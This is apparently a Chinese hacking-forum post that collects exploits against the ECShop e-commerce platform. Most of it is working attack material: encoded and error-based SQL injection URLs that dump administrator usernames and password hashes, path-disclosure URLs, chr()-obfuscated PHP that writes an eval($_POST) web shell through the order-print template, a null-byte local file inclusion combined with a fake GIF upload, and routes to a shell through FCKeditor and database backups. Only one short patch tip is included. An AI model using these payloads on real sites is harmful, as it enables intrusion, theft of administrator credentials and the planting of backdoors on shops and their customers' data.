Ecshop 漏洞集合
Ecshop 漏洞集合
一、
EXP:search.php?encode=YToxOntzOjQ6ImF0dHIiO2E6MTp7czoxMjU6IjEnKSBhbmQgMT0yIE
dST1VQIEJZIGdvb2RzX2lkIHVuaW9uIGFsbCBzZWxlY3QgY29uY2F0KHVzZXJfbmFtZSwweD
NhLHBhc3N3b3JkLCciXCcpIHVuaW9uIHNlbGVjdCAxIyInKSwxIGZyb20gZWNzX2FkbWluX3V
zZXIjIjtzOjE6IjEiO319
修补方法：
漏洞文件: search.php
大概300 源
if (is_not_null($val) )
修改为
if (is_not_null($val) && is_numeric($key))
就可以了
----------------------------------------------------------------------------------------------------------------------------------------
二、
Exp：
api/checkorder.php?username=%ce%27%20and%201=2%20union%20select%201%20and%20%28select%201%20from%28select%20count%28*%29,concat%28%28Select%20concat%280x5b,user_name,0x3a,password,0x5d%29%20FROM%20ecs_admin_user%20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%20%23
请及时关注官方补丁
ecshop GetShell
http://localhost/ECShop/demo/index.php?a=1111111111%00
爆路径
http://localhost/ECShop/includes\fckeditor\editor\dialog\fck_spellerpages\spellerpages\server-scripts/spellchecker.php
测试
http://localhost/api/checkorder.php?username=%CE%27 or 1=1 %23
----------------------------------------------------------------------------------------------------------------------------------------
三、
Exp：
respond.php?code=tenpay&attach=voucher&sp_billno=1%20and(select%201%20from(select%20count(*),concat((select%20(select%20(SELECT%20concat(0x7e,0x27,count(*),0x27,0x7e)%20FROM%20`ecs`.ecs_admin_user))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%20and%201=1（这个是农村大牛发现的，其他的两个是在网上转载的，留着备用。）
----------------------------------------------------------------------------------------------------------------------------------------
四、http://url/includes/fckeditor/editor/filemanager/connectors/test.html
----------------------------------------------------------------------------------------------------------------------------------------
五、后台低权限
后台可以提交构造代码绕过过滤,成功解析生成一句话木马.
$filen=chr(46).chr(46).chr(47).chr(110).chr(117).chr(108).chr(108).chr(46).chr(112).chr(104).chr(112);
$filec=chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(117).chr(115).chr(98).chr(93).chr(41).chr(59).chr(63).chr(62);
$a=chr(119);
$fp=@fopen($filen,$a);
$msg=@fwrite($fp,$filec);
if($msg) echo chr(79).chr(75).chr(33);
@fclose($fp);
?>
后台-订单管理-订单打印-选择源代码编辑-保存
返回订单列表，随意选择一个订单打印，返回OK，生成一句话成功！密码:usb
----------------------------------------------------------------------------------------------------------------------------------------
|
之前的exp有问题。ecshop支付漏洞最新可用EXP利用代码，测试可用。
暴管理员用户名：
http://www.xxx.com/respond.php?code=tenpay&attach=voucher&sp_billno=1%20and(select%201%20from(select%20count
(*),concat((select%20(select%20(SELECT%20user_name%20FROM%20ecs_admin_user%20limit%200,1))%20from%
20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%
20x)a)%20and%201=1
暴管理员密码：
http://www.xxx.com/respond.php?code=tenpay&attach=voucher&sp_billno=1%20and(select%201%20from(select%20count
(*),concat((select%20(select%20(SELECT%20password%20FROM%20ecs_admin_user%20limit%200,1))%20from%
20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%
20x)a)%20and%201=1
如果表前缀被改如下所示：
MySQL server error report:Array ( [0] => Array ( [message] => MySQL Query Error ) [1] => Array ( [sql] => SELECT log_id
FROM `aimeili`.`aml_pay_log` WHERE order_id=1 and(select 1 from(select count(*),concat((select (select (SELECT password
FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables
group by x)a) and 1=1 AND order_type=1 ) [2] => Array ( [error] => Table 'aimeili.ecs_admin_user' doesn't exist ) [3] => Array (
[errno] => 1146 ) )
只要修改ecs_admin_user为aml_admin_user即可
暴出的用户密码多了一个1。用户和密码最后多了一个1。比如管理员用户名是admin，那暴出的就是admin1
暴出的密码是32位的。也会在后面加一位1.破密码的时候把MD5最后那个1去掉。
--------------------------------------------------------------------------------------------------------------------------
ecshop最新版(v272) 本地包含漏洞ODAY(鸡肋)
很久前就发现了，今天发布出来吧，其实很简单，就是很多人没有注意这里： $lang = (!empty($_GET['lang'])) if (!file_exists(‘../languages/’ . $lang . ‘/calendar.php’)) require(dirname(dirname(__FILE__)) . ‘/data/config.php’); include_once(‘../languages/’ . $lang . ‘/calendar.php’);//这里包含，需要截断 测试代码 : // 需要 magic_quotes_gpc = Off /js/calendar.php?lang=../index.php%00.（注意后面有个.） 注册用户 然后上传GIF89a头的GIF文件欺骗， 然后包含 如：[img]http://www.*****.com/js/calendar.php?lang=../data/feedbackimg/6_20101228vyrpbg.gif%00.
利用方式 js/calendar.php?lang=../data/feedbackimg/309_20110405qzitof.gif%00.php
留言地址:user.php?act=message_list
--------------------------------------------------------------------------------------------------------------------------
ecshop后台拿shell(另类+总结)
和4 ever team的兄弟们研究一番..
1..(发布权限) http://url/includes/fckeditor/editor/filemanager/connectors/test.html 代码省略 http://url/images/upload/Media/xxx.php 2.数据库备份… 前台留言..后台备份ec_feedback 为x.asp;.sql (win) linux俺老不成功.. /**关于爆路径的方法**/
|